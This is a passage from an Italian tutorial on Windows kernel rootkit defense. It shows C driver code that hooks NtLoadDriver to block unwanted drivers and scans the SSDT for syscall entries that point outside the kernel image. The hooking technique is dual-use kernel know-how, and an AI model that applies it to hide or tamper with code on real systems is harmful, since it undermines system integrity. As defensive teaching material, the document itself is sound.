L'idea alla base è di agganciare le 2 API native principali che permettono ad un driver di essere caricato nel kernel (con un aggancio alla SSDT, una deviazione inline, o con qualsiasi metodo). Se proviamo infatti a disassemblare l'API di windows *StartService* (ovviamente è l'API che esegue un servizio o un driver), possiamo individuare una chiamata al sistema RPC (che non tratterò in questo approfondimento). La chiamata esegue a sua volta la routine nativa `ZwLoadDriver` per caricare il driver in memoria ed eseguirlo. Noi non dobbiamo far altro che filtrare l'unico parametro della funzione (`DriverServiceName`, una stringa unicode che contiene il nome del driver): se decidiamo di permettere al driver di caricarsi dobbiamo

richiamare la NtLoadDriver originale, altrimenti restituire STATUS_DRIVER_UNABLE_TO_LOAD. Ecco qua il codice necessario a fare da filtro:

```
NTSTATUS NTAPI NewNtLoadDriver( IN PUNICODE_STRING DriverServiceName) {
  BOOLEAN isAllowed = FALSE;
  BOOLEAN found = FALSE;
  WCHAR * stringa = DriverServiceName->Buffer;
  WCHAR * drvName = wcsrchr(stringa, L'\\') + 1;          // Il nome del driver
  NTSTATUS retStatus = STATUS_DRIVER_UNABLE_TO_LOAD;

  DbgPrint("Chiamata NewNtLoadDriver con parametro \"%ws\".\r\n", drvName);
  /* Qui esegue la decisione se permettere al driver di essere eseguito oppure no
   *              ......
   * e piazza il risultato su isAllowed
   * if (_wcsicmp(entry->drvName, drvName) == 0) ... isAllowed = TRUE;
   * else isAllowed = FALSE
   *              ......
   * Vedi il codice sorgente dell'AntiRootkit per ulteriori informazioni
   */

  if (isAllowed == TRUE) {
    // Richiama la funzione originale
    DbgPrint("Entry %ws, permesso concesso!\r\n", drvName);
    retStatus = OldNtLoadDriver(DriverServiceName);
  } else {
    DbgPrint("Entry %ws, permesso Negato!\r\n", drvName);
  }
  return retStatus;
}
```

Ovviamente questo è solo uno dei modi che hanno i driver per essere caricati in memoria ed eseguiti, un altro modo molto usato è quello di utilizzare l'API nativa NtSetSystemInformation, con parametro SystemInformationClass equivalente a SystemLoadImage o a SystemLoadAndCallImage. Nel nostro software AntiRootkit abbiamo agganciato anche questa API nativa.
In questo modo tutti i driver che verranno caricati nel kernel passeranno dalla nostra funzione filtro. Il nostro AntiRootkit dovrà essere caricato all'avvio del Pc. La questione ovvia non risolta è a che punto del processo di boot caricare il driver Antirootkit per avere una protezione completa. Per questo problema rimando al solito libro "Windows Internals" dove è spiegato in dettaglio tutto il processo di boot di Windows.

ANTIROOTKIT - SCANNING THE ROOMS

Questo metodo di difesa prevede che il rootkit sia già installato ed attivo nel pc vittima. L'obiettivo è solo di trovare il rootkit, non di rimuoverlo (a differenza del metodo precedente, che previene l'infezione). Un rootkit, come detto nell'introduzione, può fare una miriade di cose. Si è osservato che i metodi di infezione nel kernel sono principalmente i seguenti: SSDT Hooking, deviazioni inline, IRP hooking, hybrid hooking. La tecnica di difesa prevede di scovare questa infezione. È molto inefficace per i rootkit nuovi però, infatti se un rootkit utilizza una tecnica di infezione proprietaria (ad esempio una deviazione profonda nel kernel o la modifica di un intera funzione nativa), una difesa di questo tipo è TOTALMENTE impotente.

Nel nostro caso, andremo a scrivere una difesa che scopre il nostro rootkit installato e funzionante sulla macchina vittima. Il nostro rootkit ha agganciato la tabella SSDT in un punto. La tabella SSDT originale punta a funzioni del kernel Nt, e su questo presupposto scriveremo la nostra difesa. Per prima cosa otterremo la grandezza e l'indirizzo di base del file kernel di Nt (*ntoskrnl.exe* nelle sue varianti, per ulteriori informazioni consulta il libro *Windows Internals*), dopodiché esamineremo ogni indirizzo della SSDT per trovare quello che punta ad una funzione fuori dal kernel. Ecco qua la routine che ottiene l'indirizzo del kernel Nt:

```
// Ottiene informazioni sul Kernel di Windows e setta la variabile globale ntOs
NTSTATUS GetKernelInfo() {
  NTSTATUS status = STATUS_SUCCESS;
  PMODULE_LIST pmList = GetModuleList(&status);
  UINT count = 0;       // Contatore
  BOOLEAN found = FALSE;
  WCHAR log[255]; log[0] = 0;
  if (!NT_SUCCESS(status)) return status;

  /* OK, Ho la lista dei moduli, ora ricerco il file del kernel... Possibili 4 file:
   * NTOSKRNL.EXE - Kernel di Windows originale uniprocessore senza PAE e NX bit
   * NTKRNLPA.EXE - Kernel di Windows uniprocessore con PAE abilitato
   * NTKRNLMP.EXE - Kernel di Windows originale Multiprocessore senza PAE e NX bit
   * NTKRPAMP.EXE - Kernel di Windows Multiprocessore con PAE abilitato
   */
  for (count = 0; count < (UINT)pmList->ModuleNum; count++) {
    if (_stricmp(pmList->modules[count].ImageName +
      pmList->modules[count].ModuleNameOffset, "NTOSKRNL.EXE") == 0) found = TRUE;
    if (_stricmp(pmList->modules[count].ImageName +
      pmList->modules[count].ModuleNameOffset, "NTKRNLPA.EXE") == 0) found = TRUE;
    if (_stricmp(pmList->modules[count].ImageName +
      pmList->modules[count].ModuleNameOffset, "NTKRNLMP.EXE") == 0) found = TRUE;
    if (_stricmp(pmList->modules[count].ImageName +
      pmList->modules[count].ModuleNameOffset, "NTKRPAMP.EXE") == 0) found = TRUE;
    if (found) break;
  }

  if (!found)    {
    DbgPrint("Non riesco a trovare il kernel di Nt!\r\n");
    ExFreePool((PVOID)pmList);
    return STATUS_INTERNAL_ERROR;
  }

  if (ntOs) { ExFreePool(ntOs); ntOs = NULL; }
  ntOs = (PNTOSKRNL)ExAllocatePoolWithTag(PagedPool, sizeof(NTOSKRNL), (DWORD)"ITNA");
  if (!ntOs) {
    ntOs = NULL;
    ExFreePool((PVOID)pmList);
    return STATUS_INSUFFICIENT_RESOURCES;
  }
  RtlZeroMemory(ntOs, sizeof(NTOSKRNL));
  ntOs->base = (DWORD)pmList->modules[count].Base;
  ntOs->end = (DWORD)pmList->modules[count].Base + (DWORD)pmList->modules[count].Size;
  RtlCopyMemory(ntOs->baseImageName, pmList->modules[count].ImageName +
    pmList->modules[count].ModuleNameOffset, 12);

  DbgPrint("Trovato Kernel di Nt ad indice %i - Nome file: %s.\r\n", count,
    ntOs->baseImageName);
  ExFreePool((PVOID)pmList);

  return STATUS_SUCCESS;
}
```

La funzione per prima cosa ottiene la lista dei moduli caricati nel Kernel, dopodiché esamina la lista alla ricerca del file del Kernel di Nt. Una volta trovato memorizza tutte le informazioni necessarie nella variabile globale `ntOs`, del tipo `NTOSKRNL`, una struttura dichiarata così:

```
typedef struct _NTOSKRNL {          // Struttura per le informazioni sul Kernel di Nt
      DWORD base;                   // Indirizzo di base del kernel
      DWORD end;                    // Indirizzo limite del kernel
      CHAR baseImageName[20];       // Nome del file del Kernel
} NTOSKRNL, *PNTOSKRNL;

// La variabile globale che contiene informazioni sul Kernel di Nt
NTOSKRNL * ntOs;
```

Per ottenere la lista dei moduli caricati nel Kernel, dobbiamo servirci dell'API nativa `ZwQuerySystemInformation`, e passargli come primo il parametro `SystemModuleInformation` (che ecquivale a 11). In questo modo otteniamo indietro un array di strutture `SYSTEM_MODULE_INFORMATION` il quale contiene tutte le informazioni che abbiamo bisogno. Pensandoci però, un rootkit potrebbe agganciare anche questa API, in modo da modificare il risultato. Beh esistono altri modi di ottenere lo stesso scopo, i quali per motivi di tempo e spazio non starò a spiegare. Si deve utilizzare un debugger per scoprire tutte le possibili vie di enumerazione dei moduli del kernel (provate infatti ad analizzare la struttura `DRIVER_OBJECT`).

```
/* The data returned to the SystemInformation buffer is a ULONG count of the number of
 * modules followed immediately by an array of SYSTEM_MODULE_INFORMATION.
 * The system modules are the Portable Executable (PE) format files loaded into the
 * kernel address space (ntoskrnl.exe, hal.dll, device drivers) and ntdll.dll     */

typedef struct _MODULE_LIST{        // Dichiarazione non standard C
      ULONG ModuleNum;
      SYSTEM_MODULE_INFORMATION modules[];
} MODULE_LIST, *PMODULE_LIST;

typedef struct _SYSTEM_MODULE_INFORMATION {                 // Information Class 11
      ULONG Reserved[2];
      PVOID Base;
      ULONG Size;
      ULONG Flags;
      USHORT Index;
      USHORT Unknown;
      USHORT LoadCount;
      USHORT ModuleNameOffset;
      CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
```

La funzione che ottiene tutti i driver caricati nel Kernel è la seguente:

```
// Ottiene la lista dei moduli caricati nel kernel attraverso le API native di Windows
PMODULE_LIST GetAPIModuleList(OUT PNTSTATUS retStatus) {
  PMODULE_LIST pmList = NULL;
  ULONG bytesNeeded = 0;
  NTSTATUS status;

  // Uso la ZwQuerySystemInformation x ottenere la lista dei moduli del kernel
  // Prima chiamata per ottenere la dimensione dei dati
  status = ZwQuerySystemInformation(SystemModuleInformation, &bytesNeeded, 0,
    &bytesNeeded);
  pmList = (PMODULE_LIST)ExAllocatePoolWithTag(PagedPool, bytesNeeded, (ULONG)"ITNA");

  if (!pmList) {
    //ExAllocatePool ha fallito
    if (retStatus != NULL)
     *retStatus = STATUS_INSUFFICIENT_RESOURCES;
    return pmList;
  }

  // Ora ottengo la lista
  status = ZwQuerySystemInformation(SystemModuleInformation, pmList, bytesNeeded, 0);

  if (!NT_SUCCESS(status)) {
    // ZwQuerySysteminformation ha fallito
    ExFreePool((PVOID)pmList);
    if (retStatus != NULL)   *retStatus = status;
    return NULL;
  }

  if (retStatus) *retStatus = status;
  // NB: Ricordati SEMPRE di eliminare la lista ritornata da questa funzione
```

```
  // quando non server più per evuitare sprechi di memoria
  return pmList;
}
```

Ora siamo arrivati a scrivere proprio la nostra routine che identifica le infezioni della System Service Descriptor Table. Questa deve ottenere l'indirizzo del Kernel Nt, analizzare ogni entry della tabella SSDT, esaminando gli indirizzi alla ricerca di valori esterni al Kernel. Nel caso di un indirizzo esterno, si può confrontare tale indirizzo con quelli di tutti i moduli del Kernel, per ottenere anche il nome del modulo che ha agganciato la SSDT.

```
// Guarda se la tabella System Service Decsriptor Table è agganciata da qualche driver
NTSTATUS LookForSSDTHook(PBOOLEAN pIsHooked) {
  NTSTATUS status = STATUS_SUCCESS;      // Stato di ritorno
  PMODULE_LIST pmList = NULL;        // La lista dei moduli kernel caricati in memoria
  UINT i = 0, j = 0;                     // Contatori
  const SSDT_Entry * ssdte = &KeServiceDescriptorTable;
  BOOLEAN isHooked = FALSE, hookFound = FALSE;
  CHAR * moduleName = NULL;        // Il nome del modulo che fa l'hook senza la path


  // Fase 1 - Ottiene l'indirizzo del Kernel ...
  if (!ntOs) status = GetKernelInfo();
  if (!NT_SUCCESS(status)) return status;
  // ... e poi la lista dei moduli del Kernel caricati in memoria
  pmList = GetAPIModuleList(&status);
  if (!NT_SUCCESS(status)) return status;

  DbgPrint("Analisi della System Service Descriptor Table:\r\n");

  // Fase 2 - Ora identifica gli hook della SSDT
  for (i = 0; i < ssdte->NumberOfServices; i++) {
    if (ssdte->ServiceTableBase[i] >= ntOs->base &&
     ssdte->ServiceTableBase[i] <= ntOs->end) continue;

    isHooked = TRUE;
    hookFound = FALSE;

    // Fase 3 - La syscall è agganciata, trova il file di destinazione dell'aggancio
    for (j = 0; j < (UINT)pmList->ModuleNum; j++)
     if (ssdte->ServiceTableBase[i] >= (UINT)pmList->modules[j].Base &&
         ssdte->ServiceTableBase[i] < (UINT)pmList->modules[j].Size +
        (UINT)pmList->modules[j].Base) {
           hookFound = TRUE;
           break;
     }

    if (hookFound) {
     moduleName = pmList->modules[j].ImageName + pmList->modules[j].ModuleNameOffset;
     DbgPrint("System Call n° %i agganciata all'indirizzo: 0x%08X, del driver %s.", i,
       ssdte->ServiceTableBase[i], moduleName);
    } else
     DbgPrint (L"System Call n° %i agganciata all'indirizzo: 0x%08X, del driver "
       "Sconosciuto.", i);
  }

  if (!isHooked)
    DbgPrint("La System Service Descriptor Table non è agganciata!\r\n");
  if (pIsHooked) (*pIsHooked) = isHooked;

  return status;
}
```

Il gioco è fatto. Il nostro sistema Antirootkit è così perfettamente operativo. Se fatto girare, i risultati possono essere sorprendenti: infatti il nostro software, in un computer con almeno un programma antivirus

o firewall installato, identifica molte entry della SSDT come agganciate. Questo perché, come sottolineato nell'introduzione, gli antivirus, firewall e prodotti per la sicurezza informatica in generale utilizzano da anni tecnologie Rootkit e modificano (ovviamente all'insaputa della maggior parte degli utenti medi) il Kernel di Windows.

…E LINUX???

Anche se meno diffusi, esistono svariati rootkit per Linux. È solo una "leggenda metropolitana" quella che afferma che i sistemi basati su Kernel Unix sono immuni da qualsiasi infezione (virus o rootkit che sia). Infatti anche il così diffuso e acclamato Mac Os X è infettabile da un rootkit. Ovviamente l'architettura a microkernel di Linux limita un po' la proliferazione dei rootkit. Poi si deve pensare che i sistemi basati su Linux sono una miriade, ci sono una decina di distribuzioni diverse aggiornate mensilmente. Quindi per un "rootkit writer" è molto più conveniente scrivere rootkit per Windows, il quale è anche un sistema operativo "closed source", cioè il suo codice sorgente non è disponibile, a differenza di quello di Linux. In questo approfondimento non ci occuperemo dei rootkit per Linux, però introduco l'argomento dicendo che Linux ha anch'esso una tabella SSDT simile a quella di Windows, chiamata "System Call Table" ed esportata dal Kernel con il simbolo `sys_call_table`.

CONCLUSIONI

Siamo arrivati alla fine del nostro approfondimento. Le tecniche utilizzate dai rootkit sono svariate, e in questo approfondimento ne abbiamo presentata solo una, con relativa difesa. Abbiamo inoltre fatto una introduzione sulla struttura del Kernel di Windows. Spero di aver suscitato nel lettore una curiosità ad approfondire la conoscenza sul cuore di un sistema operativo. Un buon conoscitore della sua struttura, può scrivere software di qualsiasi genere e che fa qualsiasi cosa (pensate ai software di partizionamento dei dischi fissi, agli sniffer, etc..). Abbiamo visto anche come le tecniche di difesa si stanno sempre più perfezionando alla pari dello sviluppo delle minacce d'attacco. Nessun algoritmo di difesa può essere considerato completo e perfetto.

by AaLl[86]

Ultima revisione: 29/09/2008

www.aall86.altervista.org